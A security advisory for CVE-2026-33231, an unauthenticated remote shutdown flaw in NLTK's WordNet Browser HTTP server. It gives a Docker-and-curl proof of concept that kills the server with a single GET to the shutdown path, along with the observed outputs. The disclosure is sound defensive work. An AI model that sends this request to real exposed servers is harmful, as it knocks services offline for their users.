CVE-2026-33231: NLTK has unauthenticated remote shutdown in nltk.app.wordnet_app

Summary nltk.app.wordnetapp allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os.exit(0), resulting in a denial of service.

Details The vulnerable logic is in nltk/app/wordnetapp.py:

- nltk/app/wordnetapp.py:242 - The server listens on all interfaces: - server = HTTPServer(("", port), MyServerHandler)

- nltk/app/wordnetapp.py:87 - Incoming requests are checked for the exact path: - if unquoteplus(sp) == "SHUTDOWN THE SERVER":

- nltk/app/wordnetapp.py:88 - The shutdown protection only depends on servermode

- nltk/app/wordnetapp.py:93 - In the default mode (runBrowser=True, therefore servermode=False), the handler terminates the process directly: - os.exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC 1. Start the WordNet Browser in Docker in its default mode:

bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8004, True)"

2. Confirm the service is reachable:

bash curl -s -o /tmp/wnbefore.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/'

Observed result:

text 200

3. Trigger shutdown:

bash curl -s -o /tmp/wnshutdown.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

text 000

4. Verify the service is no longer available:

bash curl -s -o /tmp/wnafter.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest

Observed results:

text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down!

Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

- the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnetapp and expose or otherwise allow access to its listening port.